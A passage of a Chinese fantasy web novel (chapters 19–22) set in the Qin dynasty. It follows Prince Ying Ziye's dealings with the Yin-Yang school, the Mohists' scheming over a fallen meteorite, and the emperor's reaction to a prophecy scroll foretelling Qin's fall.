“三百年前,邹衍大师以生命为代价推演出
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最后一句谶语——”
“大秦公子,夜启天门!!!”
他忽然逼近赢子夜,枯瘦如鬼爪的手指悬停在赢子夜心口三寸处。
那里的衣袍竟无风自动,隐约有龙形纹路浮现。
“现在你明白了?”
“阴阳家助你,不是施舍,而是……”
“投诚。”
赢子夜挑了挑眉,心里暗忖:
果然如此。
他表面却依旧漫不经心,随手从袖中掏出一卷泛着金光的玉简。
“东皇阁下追求天道,本公子只谈买卖。”
他将竹简扔出,被东皇太一袖中飞出的黑雾稳稳托住。
当竹简展开的瞬间,观星台所有的星图同时亮起刺目的青光。
“《太清丹经》?!”
东皇太一的声音第一次出现波动。
黑金面具下的呼吸声明显加重!!
“公子这是…想要什么?”
赢子夜掏了掏耳朵:“简单。按这方子炼出来的丹药,我要八成。”
他掰着手指头数,“剩下两成归你们。”
“当然……”
突然从怀里摸出个玉盒扔过去,“其中一部分珍惜的灵药我出。”
倒也不是赢子夜多大方,而是他还真不认为阴阳家能有!
玉盒打开的瞬间。
一株通体金红的灵芝散发出灼热气息!
云中君要是在场,怕是会当场扑上来。
这可是传说中的“赤阳金芝”!!
东皇太一的手指微不可察地颤抖了一下。
“阴阳家可以答应。”
黑雾将竹简和玉盒缓缓卷回袖中,“但本座想知道,公子要这么多丹药…做什么?”
“喂狗不行吗?”
赢子夜突然打断,满脸不耐烦地摆手,“成交就走人,本公子还要回去补觉。”
说完,他真的转身就走,还夸张地伸了个懒腰。
待赢子夜的身影完全消失,东皇太一当即传令,命云中君前来。
不过片刻,云中君疾步而入。
他身着金线滚边的玄色官袍,腰间玉带上悬着七八个精巧药囊。
还未行礼,目光便被东皇太一手上的玉简牢牢吸住!
“按此丹方,炼一炉‘九转还魂丹’。”
东皇太一的声音沙哑如旧,却透着一丝罕见的急切。
云中君双手接过玉简,只扫了一眼,保养得宜的面容便骤然变色!!
“这…这是失传的……”
他猛地收声,强自镇定地躬身,“属下即刻开炉。”
三个时辰后。
炉盖开启的刹那,十二颗青莹莹的丹药悬浮而起,表面隐现云纹。
丹成时的异象连蜃楼外的海面都映成了紫色!
云中君捧着其中一颗有三道云纹的“九转还魂丹”,双手抖得像筛糠!
“成…成了!”
“虽不及古籍记载的‘丹生九纹’,但已有三纹!”
“这…这比属下过去炼的品质高出三倍不止!”
东皇太一捏碎丹药,一缕青烟钻入面具之下。
黑袍无风自动,观星台顶的星图突然疯狂旋转!
他抬手召出星图。
只见代表赢子夜命格的那颗星辰,正与苍龙七宿产生前所未有的共鸣!
“果然……”
他沙哑的声音里带着压抑的激动,“唯有命格契合苍龙七宿者,才能拿出这等丹方。”
“果然是他!”
黑金面具转向咸阳方向。
“传令少司命,从今日起,六公子要什么…给什么。”
第19章 青龙现世,秦运当终!
机关谷。
山崖深处传来齿轮咬合的轰鸣,青铜机关兽的关节在蒸汽中咔咔转动。
公输仇灰白的乱发间插着几根铜簪,独臂操纵着精密的机关枢纽,布满血丝的双眼死死盯着面前逐渐成型的巨大兽型机关。
那是一只三丈高的青铜巨虎,獠牙间喷吐着灼热的蒸汽。
“还差最后一处……”
他喃喃自语,枯瘦的手指在铜板上小心翼翼的摆弄着。
突然,谷外传来一声剑鸣!
公输仇猛地抬头,独眼中迸出凶光!
“何人擅闯老夫的机关谷?!”
烟尘中,一道挺拔的身影负剑而来。
赵弋苍一袭黑衣,腰间悬着赢子夜所赐的“暗河”令牌,长剑泛着赤红流光。
正是服下“九转玄阳丹”后独有的炎阳剑气。
“公输先生。”
赵弋苍抱拳一礼,声音沉稳如铁,“我家主上请您前往咸阳一叙。”
“滚!”
公输仇暴喝一声,独臂猛地拍下机关枢纽。
“老夫最恨炼器时被人打扰!”
地面骤然裂开,三只青铜机关狼破土而出!
狼眼中红光暴涨,利爪在地面刮出刺耳的金铁之声,呈三角之势朝赵弋苍扑去。
赵弋苍眼中精光一闪,长剑陡然出鞘!
“轰——!”
一道赤红剑虹横扫而出。
首当其冲的机关狼被拦腰斩断,断口处青铜熔化成赤红的铁水。
第二只狼凌空扑来!
赵弋苍身形未动,左手并指如剑,一道凝练到极致的剑气自指尖迸发,瞬间贯穿狼首核心!
第三只狼趁机偷袭后心,却见赵弋苍反手一剑插地!
“炎阳·地裂!”
以剑尖为中心,方圆三丈的地面轰然塌陷,炽热的剑气从裂缝中喷涌而出,将机关狼吞没在熔岩般的剑势中。
公输仇独眼瞪大,手中刻刀啪嗒落地。
这三只机关狼足以匹敌五十人军队,竟在数个呼吸间被尽数摧毁?!
“你……”
他盯着赵弋苍剑上未散的赤芒,“这是什么剑法?”
赵弋苍并未顺势搭话,而是将收剑入鞘,缓缓从怀中取出一物——
一枚精巧的青铜齿轮,表面刻满繁复的符文,在夕阳下泛着幽蓝光泽。
“主上让我问先生一句。”
他将齿轮抛给公输仇,“可还记得当年,鲁班祖师与墨子那场‘九攻九拒’的比试?”
公输仇接住齿轮的瞬间,整个人如遭雷击。
那场比试,正是公输家世代难忘的耻辱。
再看这齿轮的构造……
竟与祖传秘图中记载的“天机轮”一模一样!!!
他的独臂剧烈颤抖起来!!
这竟是比他祖师鲁班手札还要精妙的机关术!
“你家主上……”
他死死攥住竹简,独眼中闪烁着疯狂与贪婪!
“究竟是谁?”
赵弋苍长剑归鞘,炎阳剑气未散,在周身形成淡淡赤芒。
“大秦六公子,赢子夜。”
公输仇瞳孔一缩!
任他如何也想不到,此人背后的主子,竟是大秦的公子!!
以前为何没听说过这位六公子的名号?
“主上还说……”
“住口!”
公输仇暴喝一声,独眼中血丝密布。
他死死盯着手中的齿轮,脑中闪过无数念头。
这齿轮的工艺远超当世,闻所未闻。
若那六公子真有这等本事……
“呵…”
他突然阴森一笑,独臂猛地握紧齿轮。
“好!老夫就随你去见见这位六公子。”
转身走向谷内时,袖中暗藏的三枚透骨钉已悄然上膛!
“不过小子,若让老夫发现这是个骗局……”
地面突然震颤,一具十丈高的青铜机关巨人破土而出,六只手臂各持不同兵器,眼中红光将整个山谷映得如同血海。
赵弋苍面不改色,只是轻轻按住了剑柄。
“主上不会让先生失望。”
公输仇跳上机关巨人肩膀,望着咸阳方向,独眼中闪烁着疯狂与期待。
“班老头……这次定要让你墨家机关,变成一堆破木头!”
……
墨家机关城。
密室。
青铜灯盏的火光在石壁上投下摇曳的阴影,墨家矩子独坐案前,斗笠下的双目凝视着刚刚截获的密报。
“东郡天降陨石……”
他的手指轻轻摩挲着竹简上的刻痕,指腹能清晰感受到刻字人急促的力道。
那是潜伏在咸阳城内的墨家卧底,盖聂传回的消息。
“**令、黑冰台出动…”
矩子的瞳孔微微收缩。
他缓缓起身,黑袍拂过地面堆积的机关图纸,来到密室深处的暗格前。
机关枢纽转动,暗格中露出一方青铜匣,匣面雕刻着盘绕的青龙纹路,龙睛处镶嵌着两枚血玉。
指尖触碰青龙纹路的刹那,记忆如潮水般涌来——
那年雨夜,桑海之滨。
昌平君披着蓑衣,手持一盏青铜灯,灯焰竟是诡异的青色。
在他身后,农家六大长老、项氏一族将领、儒家伏念、道家逍遥子……
诸子百家的身影在雨中若隐若现。
“青龙现世,秦运当终。”
昌平君的声音混着雨声,“此计划需以百家气运为引,诸位可愿盟誓?!”
矩子记得自己割破手掌,鲜血滴入青铜鼎的瞬间,鼎中突然腾起七道青烟,在空中化作龙形。
更记得天宗五位长老联手推演时,其中一人突然七窍流血,嘶吼着“荧惑守心,陨石天降”的谶语!
矩子猛然回神,发现手中的密报已被攥出裂痕。
“荧惑守心、东郡陨石…”
他独白的声线沙哑如铁锈摩擦。
当年天宗长老预言中的画面,正在逐一应验。
这陨石绝非偶然,极可能是青龙计划中关键的“天启之物”!
密室中的青铜灯焰突然剧烈摇曳。
门外传来错落的脚步声。
高渐离的水寒剑鞘轻叩石门三下,雪女的银铃在廊间清脆作响,大铁锤沉重的呼吸隔着门板都能听见。
矩子指尖一挑,暗格中的青铜匣无声滑入袖中。
“进来。”
石门缓缓开启的刹那,矩子枯瘦的手指突然扣住案几边缘。
青铜灯盏的火光将他的斗笠阴影投在墙上,竟如展翅的朱雀。
“都到了?”
沙哑的声音像是从很远的地方传来。
墨家各部首领,皆至!
“那便听仔细了。”
“前几日夜空现剑仙异象,据说和那位六公子赢子夜有关——”
矩子的指尖在案上划出深深沟壑,木屑纷飞。
“七十二道剑光冲霄而起。”
“之后,阴阳家月神更是亲自拜访六公子府。”
“但更蹊跷的…是东郡。”
“自那以后,天降陨石!”
“那夜漫天火光,整个咸阳成的百姓都看到了。”
“紧接着,就是黑冰台倾巢
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而出!”
矩子的斗笠微微压低。
他取出一枚青铜罗盘放在案上,指针竟自行转动,最终指向东郡方向。
当啷一声,罗盘突然裂开,露出里面微型机关青龙。
“咸阳的仙人……”
黑袍下传出沙哑的笑声,“怕是我们那位‘声名不显’的六公子。”
机关青龙突然昂首,投影出东郡地形图。
“而这块陨石——”
“恐怕就是青龙计划里的天启之物!”
雪女的霜花在空中凝成剑形,又碎成星芒。
高渐离的剑鞘已覆满寒霜。
他们都不约而同的想起了那个禁忌的传说。
就在这满室死寂中。
矩子袖中滑出三枚令牌。
第一枚玄冰令飘向高渐离:“咸阳水深,你与雪女扮作乐师入城。”
令牌突然裂开,露出里面薄如蝉翼的**。
“重点查赢子夜的虚实,和他与阴阳家的关系。”
第二枚赤铜令飞到大铁锤面前:“东郡现在就是铁桶,到处都是秦廷的探子和兵卒,你和盗跖走密道。”
他顿了顿,“记住,要将那石头…夺回来!”
最后那枚漆黑令牌悬浮在半空,竟自行化作齑粉。
粉尘竟凝聚成黑袍面具人的轮廓,无声跪地。
“无影。”
矩子的声音突然变得虚幻,斗笠下闪过寒光。
“把‘荧惑守心,陨石现世’八个字。”
“传到项氏一族耳朵里,传到农家六堂,传到小圣贤庄……”
他突然咳嗽起来,指缝间渗出黑血。
众人变色欲上前,却被一道气墙阻隔。
“记住。”
矩子擦去血迹,袖中机关蛇吞掉了染血的帕子。
“昌平君以命换来的机会,绝不能失败!”
……
六公子府。
夜。
赢子夜懒散地倚在软榻上,指尖把玩着一枚青铜传讯符,符面上暗河组织的纹路在烛光下若隐若现。
忽然,符箓微微震颤,赵弋苍低沉的声音自其中传出——
“主上,公输仇已在路上,三日可至咸阳。”
赢子夜眉梢一挑,嘴角勾起一抹懒散的笑意:“哦?这老家伙倒是痛快。”
传讯符中继续传来汇报:“属下沿途还暗中联络了一些旧部,皆是曾在军中受排挤的悍卒,共十七位兄弟。”
“他们都答应今后效忠主上。”
赢子夜轻笑一声,随手将一枚丹药抛进嘴里,咔嚓咔嚓嚼得清脆。
“行。”
他伸了个懒腰,忽然话锋一转:“东郡那边,有动静了吗?”
“黑冰台已封锁全境,但……”
赵弋苍的声音微沉,“属下发现,一些江湖势力,还有农家、墨家的人已在暗中靠近。”
赢子夜眼中精光一闪而逝,随即又恢复那副漫不经心的模样。
“果然都坐不住了。”
他指尖轻敲案几,沉吟片刻。
“继续盯着,尤其是那颗…陨石!”
传讯符的光芒渐渐熄灭,赢子夜随手将其丢到一旁,目光转向窗外。
夜色深沉。
东郡方向的天空隐约还残留着一丝异样的红芒。
“陨石天降,荧惑守心。”
他低声喃喃,指尖无意识地在案几上划出一道剑痕。
“这局棋,真是越来越有意思了。”
他忽然抬手,一道剑气凌空划过,烛火应声而灭。
黑暗中,唯有七十二柄金色小剑在周身若隐若现,如同蛰伏的龙鳞。
第20章 八百里加急——黑龙卷轴现世!
很快。
公子府的老管家引着一名招贤馆主事悄然入内。
自从始皇帝赐他招揽门客之权后。
这招贤馆,便立起来了。
只见那主事灰布长衫上还沾着夜露,显是匆匆赶来,手中竹简密密麻麻记满了名字。
“公子,今日又有三十七人投效。”
主事双手奉上竹简。
“有燕赵游侠七人,楚地算士三人,还有个自称能观星象的齐地术士……”
赢子夜看完竹简,顺势倚回软榻,“这些人都不错,但要记住……”
他漫不经心的补了一句:“宁缺毋滥。”
说完,又突然抬眼。
“我要的是能用的刀,不是扎手的刺。”
主事拱手领命。
随即退离。
四下无人时。
赢子夜斜倚在窗边,指尖捻着一枚青铜棋子,在月光下泛着幽幽冷光。
夜风拂过庭院,卷起几片落叶,他眯着眼看那叶子打着旋儿落下。
“暗河现在就像这落叶…”
棋子在他指间翻了个面。
“看着轻飘飘没分量,等积厚了…”
手腕一抖,棋子突然嵌入三丈外的槐树,惊起一窝夜栖的乌鸦!
“就能撼动大树!”
他轻笑一声,起身慢悠悠踱至案前,拎起酒壶直接对着嘴灌了一口。
“不过,赵高这老狐狸,到时候定会派人混进来监视我。”
“毕竟……”
“天罗地网,无孔不入。”
说着,他的手指划过墙上新挂的谋划图。
在‘招贤馆’的位置上,几个墨点被朱砂特意圈出。
“这些人,揪出来容易,但成本很高啊……”
赢子夜拎起酒壶又灌了一口,酒液顺着下巴滴落在地图上,恰好晕开一个墨点。
“今日除三个,明日来五个。”
“就像蝗虫,抓也抓不完,烧也烧不尽。”
突然间,赢子夜的嘴角显露出一抹若有若无的笑意:“或许,他人的棋子亦可为自己所用!”
……
中车府。
府邸深处,连月光都透不进的暗室内。
只有几只蜘蛛在梁木间无声织网。
赵高半张脸隐在阴影里,苍白的手指间缠绕着一根银丝。
丝线另一端缚着一只通体漆黑的毒蛛,八条长腿在他掌心缓慢划动。
“吱呀——”
门轴转动声比蚊呐还轻。
一名身着灰褐色劲装的“地”字级密探跪伏在门槛外,额头紧贴地面。
“大人,六公子招贤馆已渗入杀字级‘玄蛛’三人。”
赵高指尖的蜘蛛突然僵住,八只单眼同时转向密探方向。
他低笑一声,银丝勒进蜘蛛腹部,渗出墨绿色体液。
“继续。”
“东郡急报。”
密探喉结滚动,声音压得极低。
“陨石核心刻有古篆,疑似…青龙计划密钥。”
他袖中滑出一卷薄如蝉翼的绢布。
“墨家、农家、道家等势力皆有异动。”
黑暗中传来“嗒”的一声轻响——
是赵高指甲叩击青铜扶手的声响。
六剑奴中真刚的佩剑微微出鞘三寸,剑刃映出赵高此刻勾起的唇角。
那笑容像是用刀刻上去的,不见半分活气。
“退下吧。”
三个字轻飘飘落下,密探却如蒙大赦,**着走出门外。
断水突然睁开通红的盲眼,屋内所有蜘蛛瞬间爆体而亡。
赵高指尖的血蛛也突然僵死,八条腿诡异地蜷缩成一团。
他随手将虫尸碾碎在扶手上,黏稠的汁液顺着鎏金纹路缓缓流淌。
“掩日。”
阴影中,传来铁甲摩擦的轻响。
一名身着普通秦军制式铠甲的将领缓步走出。
腰间佩剑的剑鞘毫不起眼,唯有剑格处隐约透出一线暗红。
他站定时连呼吸声都听不见,仿佛只是套着铠甲的幽灵。
“东郡。”
赵高用染血的指甲在案几上划出两个字,血迹很快渗入木纹。
“去看看那块石头。”
掩日的铁面具下传出沉闷的回应:“可需带回?”
“呵…”
赵高忽然抬手,六剑奴同时后撤三步。
他枯瘦的手指抚过掩日的肩甲,在寻常人根本不会注意的接缝处轻轻一扣。
那里藏着三根淬毒的钢针。
“你这样的利刃,不该用来劈石头。”
窗外忽有夜枭啼叫。
掩日按在剑柄上的手背青筋暴起,又缓缓松开。
“属下明白了。”
铁甲下的声音忽然带起金属震颤的回音,“可需顺手杀几个诸子百家的人?”
赵高转身,袍角扫过烛台,唯一亮着的烛火倏然熄灭。
“先让他们争去吧,你…见机行事便好。”
掩日抱拳的瞬间,铠甲缝隙中渗出缕缕黑雾。
待黑雾散尽,原地只余下几片正在腐蚀地砖的枯叶。
“大人。”
乱神忍不住开口,“为何不直接守株待兔,将诸子百家一网打尽?”
赵高正在用丝绢擦拭一根钢针,闻言…突然将钢针射入乱神脚前的地砖!
针尾颤动时,整块青砖已变成紫黑色。
“陨石只是引线。”
他踩过毒砖,靴底竟毫发无伤,“陛下要的…是诛心的火种。”
……
就在天色将明未明之际。
咸阳城门处,突然传来一阵急促的马蹄声!
守城将士刚举起长戟,就被迎面而来的景象震住——
一匹通体漆黑的战马口吐白沫疾驰而来。
马背上骑士的铠甲已被血水和汗水浸透。
背后插着三支羽箭,却仍死死护着胸前那方漆黑如墨的龙纹铜匣!!
匣上九道玄铁锁链缠绕,每条锁链末端都铸着小小的“禁”字!
“八百里加急!!!”
“黑龙卷轴至——!”
嘶吼声划破晨雾!
沿途戍卫的秦军齐刷刷跪倒!
直到那马匹冲到宫城前,终于力竭倒地。
骑士滚落时,仍用身体护住铜匣。
瞬息间,宫门处,冲出四名黑冰台死士,刀锋直接架在了骑士脖颈上!
“验符。”
为首的独眼死士声音嘶哑。
身边立刻有人从怀中掏出半块虎符,将之与铜匣底部的凹槽严丝合缝地对上。
咔嗒一声!
铜匣表面盘绕的黑龙突然睁开双眼,两颗血红的宝石龙睛迸出刺目光芒!!
整个宫城瞬间沸腾!!!
九重宫门,次第洞开!
那独眼死士割破自己手掌将血滴在龙睛上,铜匣这才缓缓开启——
一卷用鲛人血浸染的玄色帛书静静躺在其中。
隐约可见一些朱红字迹正泛着诡异的青光。
“
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鸣钟!!!”
第一声钟响震彻咸阳!
而所有听到钟声的百姓,都僵在了原地。
这样的钟声,天下一统后,至今只响彻过两次——
第一次是嫪毐叛乱。
第二次,是荆轲刺秦……
而此刻的大殿之上。
朝阳…正将百官的影子拉得老长。
李斯手持**笏板立于玉阶之下,腰间玉坠随着他沉稳的步伐轻轻晃动。
“启禀陛下。”
他声音不疾不徐,却让殿角侍立的郎官们不自觉地挺直了脊背。
“按六公子的定边之策,陇西若要互市,必须先纳戎马六千匹。”
他袖中滑出一卷竹简。
“按每匹折粟米二十石计,可省转运徭役三万余人次。”
治粟内史立刻捧着算筹出列:“确如丞相所言。”
“更兼乌氏倮献驯马之术,使我军骑卒可省两年训练……”
话未说完,就被蒙恬一声咳嗽打断——
这位将军正盯着他算筹上某个数字皱眉。
始皇帝指尖在鎏金扶手上轻叩,九旒冕下的目光扫过殿柱上新刻的《秦律》条文。
李斯立即会意:“臣已令陇西郡守增设‘互市监’三员,凡交易必录铁契。”
他忽然转向赢子夜所在的方向。
“六公子今早所献‘验马符’之法,臣也觉得颇为妥当。”
站在角落的赢子夜正偷偷往嘴里塞蜜饯,闻言差点呛到。
他讪讪地擦了擦嘴角,心里暗骂李斯这老狐狸非要当众点他——
那所谓的验马符,不过是他随口说出来的小招数而已。
治粟内史忽然跪地:“臣请增云中郡为互市新埠。”
他展开的绢布地图上,几条朱砂线路正穿过匈奴腹地。
“如此可引东胡良马,价比陇西低三成……”
话音刚落!
沉重的钟声突然撞破朝堂的议事声。
九响连震!
殿梁上的尘埃簌簌落下!
李斯手中的**笏板“咔”地裂开一道细纹,蒙恬的佩剑自行在鞘中嗡鸣。
“报——!”
宫门处传来铁甲撞裂门闩的巨响。
十二名黑冰台死士鱼贯而入。
他们抬着一方玄铁打造的龙辇。
辇上黑龙盘绕的铜匣正在不断渗出猩红液体,滴落在地砖上,竟腐蚀出缕缕青烟。
始皇帝缓缓从龙榻上站起,九旒冕的玉珠相互碰撞,发出细碎的声响。
他的脸上,是凝重之色!
当黑冰台统领单膝跪地捧起铜匣时,殿中百官不约而同地后退三步!
那铜匣的锁眼竟像是一颗活生生的龙睛,此刻正死死盯着帝王!
“验。”
帝王吐出一个字。
黑冰台统领立即割破手指将血滴在龙睛上,身边死士则将带来的虎符按在龙鳞纹路处。
铜匣开启的瞬间,整座大殿的温度骤降。
竹简展开时,始皇帝玄色帝袍上的金线龙纹无风自动。
当看到上面书写的朱砂大字时,帝王指节突然发白,竹简边缘被捏出蛛网般的裂纹!
“退朝。”
两个字砸得满殿文武膝盖发软!
“李斯。”
“蒙恬。”
帝王的声音从九重冕旒后传来。
“还有子夜。”
最后两个字落下时,殿外惊雷炸响。
“随朕…摆驾章台宫。”
第21章 六公子竟将帝王心思看得如此透彻!
章台宫内。
青铜灯盏的火光被无形的威压逼得黯淡。
始皇帝负手立于龙台之上,玄色帝袍上的金线玄鸟纹在阴影中如同活物般游动。
他每踏出一步,地面便传来沉闷的回响,仿佛整座宫殿都随着帝王的脚步震颤。
“看。”
帝王袖袍一挥,黑龙卷轴凌空展开。
帛书上——
“亡秦者,胡”“始皇帝死,而天下分!”几个血字突然燃烧起来!
青紫色的火焰将李斯的面容映得惨白!!
这位素来沉稳的丞相手指微颤,算筹从袖中滑落都未察觉。
蒙恬更是猛地按住剑柄,铠甲碰撞声在寂静的宫室内格外刺耳。
唯有赢子夜负手而立,连睫毛都没颤动半分。
他甚至还饶有兴致地观察着火焰中扭曲的字迹,仿佛在欣赏什么有趣的戏法。
“子夜。”
始皇帝的声音突然炸响,九旒冕下的双目如雷霆般刺来。
“你如何看?”
赢子夜轻笑一声,随手掸了掸袖口并不存在的灰尘。
“儿臣以为……”
他忽然抬眸,眼中竟有金芒流转,
“这哪是什么天命箴言,分明是阴沟里的老鼠啃出来的把戏。”
李斯瞳孔骤缩——
六公子竟将天降陨石说成人为陷阱?
但转念间便领会其中深意,后背顿时渗出冷汗!!
这轻描淡写的一句话,已然将“天罚”转为“人祸”!!
始皇帝指节叩击龙案,案面顿时裂开蛛网般的纹路:“何人所为?”
“我大秦铁骑踏平六国,可有些人……”
赢子夜突然指向殿外东方。
“宁肯躲在深山老林当野人,也不愿来咸阳做官。”
他指尖剑气迸发,将一盏宫灯斩为两截!
“是水土不服?还是…”
“心怀旧国?”
声如惊雷炸响,让始皇帝瞳孔一缩!
整座章台宫瞬间被恐怖的威压笼罩,梁柱上的青铜饰物纷纷崩裂!
帝王眼中迸发的金芒竟在虚空中凝成实质,将赢子夜方才斩断的灯焰生生压灭!
李斯伏地不敢抬头,蒙恬的铠甲已结满冰霜。
唯有赢子夜在可怖的威压下依旧挺直脊背,甚至迎着帝王的目光微微一笑。
空气…仿佛凝固成实质。
“蒙恬。”
两个字如雷霆炸响。
蒙恬立即单膝跪地,铠甲碰撞声在死寂的宫室内格外刺耳!
他低着头,却能清晰感受到帝王的目光如刀锋般刮过他的脊背。
“带着你的黄金火骑兵…”
始皇帝的声音突然压低,却让殿内温度骤降。
李斯的官袍后背瞬间被冷汗浸透,连呼吸都变得小心翼翼。
“去东郡陨坑。”
帝王的手指轻叩腰间定秦剑,剑鞘上的铭文泛起血色。
鎏金靴踏过地面,留下深深的凹痕。
“朕要那里…”
“寸草不生。”
蒙恬猛地抬头,眼中闪过一丝震惊,但很快化为决然!
“末将领命!”
始皇帝转身走向龙台,玄色帝袍在身后翻卷如乌云:
“退下吧。”
三人躬身退出时,殿门在他们身后轰然闭合。
李斯这才发现自己的官服已湿透,而蒙恬的铠甲缝隙间正不断滴落汗水。
那是被帝王威压生生逼出的冷汗!
……
宫道上的青石板还凝着晨露。
随着蒙恬前去调兵遣将后,李斯便顺势与赢子夜并肩而行,身后跟着一队沉默的郎官。
李斯的官靴踏在石板上,发出沉闷的声响,眉头却始终紧锁。
“公子…”
李斯终于忍不住开口,声音压得极低,
“方才在殿上,您如何断定是六国余孽所为?”
赢子夜脚步未停,随手折了枝道旁的桂花,在指尖轻轻捻动:
“丞相可知父皇的心病?”
李斯瞳孔微缩,脚步不自觉地慢了半拍。
他下意识地左右扫视,确认无人偷听,才低声道:“还请公子明示。”
“呵。六国虽灭,可那些贵族……”
赢子夜将桂花凑到鼻尖轻嗅,嘴角勾起一抹冷笑,
“父皇曾三令五申让他们迁入咸阳,他们却推三阻四。”
他突然将花枝折断。
“你说,这里面难道真没有别的原因?”
李斯猛地僵在原地。
这个看似慵懒的六公子,竟将帝王心思看得如此透彻!
他额角渗出细汗,脑中飞速盘算着这些年六国贵族以各种理由拖延迁居的奏报——
齐地田氏称病、楚地项氏以守陵为由、燕国遗族更是直接躲进了深山……
“丞相可还记得?”
赢子夜突然凑近,低语声响彻在李斯耳畔。
“去年邯郸郡守上报,说发现魏国旧贵族在暗中铸造兵器!”
他直起身,眼中寒芒乍现。
“当时父皇是怎么说的?”
李斯袖中的手指突然颤抖起来。
他当然记得——
始皇帝当时只说了四个字:
“夷、
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其、三、族!”
而那夜,邯郸城外燃起的火光,将半边夜空都映成了血色。
“如今这陨石……”
赢子夜随手抛掉残花,看着它飘落在宫墙阴影处。
“不过是给了父皇一个名正言顺的理由。”
他轻笑一声,“你说,这是不是天赐良机?”
李斯后背的官袍已经完全湿透。
他死死盯着赢子夜离去的背影,第一次真切地感受到。
这位看似闲散的六公子,其城府之深,恐怕连赵高都要逊色三分!!!
……
与此同时。
长公子府的庭院中。
扶苏独自立于梧桐树下,素白的衣袂在风中轻轻飘动。
他手中捧着一卷《论语》,目光却久久停留在远处章台宫的方向。
那里,隐约还能看见林立的甲胄戈戟。
“黑龙卷轴……”
他轻声呢喃,修长的手指不自觉地摩挲着竹简边缘。
自大秦一统以来,黑龙卷轴只现世过两次,每一次都伴随着腥风血雨。
而这次,已是第三次!
一片梧桐叶飘落肩头,扶苏轻轻拂去,眉宇间浮现出一丝忧虑。
他想起今日朝会上,六弟赢子夜那副气定神闲的模样。
父皇竟在如此重大的事情上把他也叫去章台宫问对。
这份殊荣,连自己这个长公子都未曾有过。
“公子。”
身后传来淳于越小心翼翼的呼唤。
“您实在不用如此担心……”
扶苏抬手止住老师的话头,转身时眼中已恢复温润如玉的神采。
“老师,烦请安排几位可靠的儒家弟子。”
他声音很轻,却带着不容置疑的坚定。
“去东郡看看。”
淳于越面露惊色:“这…恐怕……”
“只是看看。”
扶苏从袖中取出一枚玉佩,轻轻放在石桌上。
“若有流离失所的百姓,便以此玉为凭,从府库支取钱粮救济。”
他望向章台宫的方向,又补充道:
“莫要惊动了黑冰台。”
月光洒在他清俊的侧脸上,映出一丝难以察觉的落寞。
作为长公子,他比谁都清楚父皇的雷霆手段。
但作为儒家弟子,他始终记得“仁者爱人”的教诲。
淳于越叹息着领命,却分明看见扶苏眼中闪过一丝复杂的情绪。
那是对弟弟才华的欣赏,又夹杂着…难以言说的忧虑。
日风拂过,梧桐叶沙沙作响,仿佛在叹息这位仁厚长公子内心的挣扎。
第22章 十人抗命灭一族!百人抗命夷三族!
六公子府。
后院。
日光如瀑般倾泻而下。
赢子夜从朝中一回来,就懒散地倚在软榻上,指尖拨弄着几个阴阳家弟子奉命送来的青玉丹瓶。
瓶中药丸泛着淡淡的紫光,隐约有星辉流转。
“马马虎虎吧。”
他随手将丹瓶抛给侍立的老管家,打了个哈欠。
“把西厢房那箱‘杂草’给他们带回去。”
很快。
四名公子府忠仆抬着沉香木箱走出。
而一旁,少司命正静立在廊柱的阴影处。
她紫纱下的眼眸在看到箱中物事的瞬间,瞳孔骤然收缩!
箱中随意堆放的“杂草”,竟是外界万金难求的千年灵参!
而那些被赢子夜当作垫料的枯叶,分明是传说中的“凤凰羽”!
更令她震惊的是,箱角还滚落着几颗晶莹剔透的玉髓果。
这等灵物,就连东皇首领都要珍而重之地收藏。
赢子夜余光瞥见少司命微微颤抖的指尖,嘴角勾起一抹玩味的笑。
他故意抓起一把玉髓果,像撒豆子般扔给过来抬箱的阴阳家弟子:“路上当零嘴吃吧。”
“咔嚓”一声脆响。
少司命手中的玉盏突然裂开一道细缝!
这是她第一次失手捏碎东西。
她紫瞳中闪过一丝慌乱,急忙用衣袖掩住碎片,却听见赢子夜促狭的声音:
“少司命若是也想吃,本公子这儿还有。”
只见赢子夜掌心里躺着一枚通体金黄的灵果,果皮上天然形成的纹路竟组成了龙形。
少司命面纱无风自动,露出尖俏的下巴。
这是传说中五十年一熟的“龙涎果”!
她下意识地后退半步,紫瞳中满是难以置信!
这个整日懒散的六公子,随手拿出的竟都是阴阳家典籍中记载的绝世灵物!!
更令她心惊的是,他对待这些珍宝的态度,就像对待街边买来的零嘴一般随意。
这些…莫不都是那仙人所赐?
赢子夜将龙涎果抛向空中,被她稳稳接住。
“吃完就快去打坐修炼…”
紧接着,他忽然凑近少司命耳边,温热的气息拂过她冰凉的耳垂。
“今后才能更好的保护本公子。”
少司命僵在原地。
日光将两人的影子投在地上,一前一后,一懒散一清冷。
但此刻,这位素来以冷漠著称的死亡使者,面纱下的脸颊却微微发烫。
她第一次意识到。
东皇太一派她来监视的,或许是一个比苍龙七宿还要深不可测的存在。
此人到底…还藏有多少底牌?
……
夜色来临。
咸阳城西的酒肆后院笼罩在一片静谧之中。
檐下的风铃轻轻摇曳,发出细碎的声响。
高渐离倚在廊柱旁,水寒剑在月光下泛着幽幽蓝光。
他的指尖无意识地在剑鞘上轻点,敲击出一段只有那个人才懂的旋律。
木门“吱呀”一声轻响。
雪女踏着月色而来,素白的衣袂拂过青石地面,没有发出半点声响。
她纤细的手指间萦绕着淡淡寒气,在空气中凝结成细小的冰晶。
“那位六公子的行踪查清了。”
她的声音清冷似雪。
“每日辰时出府,常独自前往蜃楼。”
高渐离微微颔首,水寒剑上的霜花又厚了几分。
他注意到雪女发梢沾着的夜露,想必是为探查情报奔波了一整晚。
“而且,他每次从蜃楼回来,都是空手。”
“之后没过多久,蜃楼就会派弟子去公子府,然后抬走一些行李……”
“这其中,定有古怪!”
雪女突然抬手,指尖凝出一朵冰莲。
高渐离立即会意,水寒剑无声出鞘三寸!
这是他们多年并肩作战养成的默契。
“知道了,但明日…我要先去会会盖聂。”
他的声音低沉得几乎听不见,却带着压抑多年的杀意。
雪女的白绫突然无风自动,一道冰墙瞬间横亘在高渐离面前。
她太了解这个固执的剑客,十年前那场变故后,他就一直将复仇刻在骨子里。
她冰蓝色的眸子直视剑客,朱唇轻启:
“不行,要以大事为重。”
这四个字,如冰锥刺入高渐离心头。
他手中的水寒剑发出不甘的嗡鸣,剑身上的冰晶不断炸裂!
“须知,荆大哥的儿子生死未卜!”
雪女的声音比往常更冷,指尖凝结的冰莲却异常灼热。
“若咱们此时暴露…”
高渐离猛地转身,剑气将院中石凳斩为两截!
碎石飞溅中,他看见雪女纹丝不动的身影!
望着月光下她清冷的侧脸,高渐离突然想起十年前在赵国初遇时,她也是这样站在雪中,美得惊心动魄。
夜风卷起残雪,将两人的衣袂缠绕在一起。
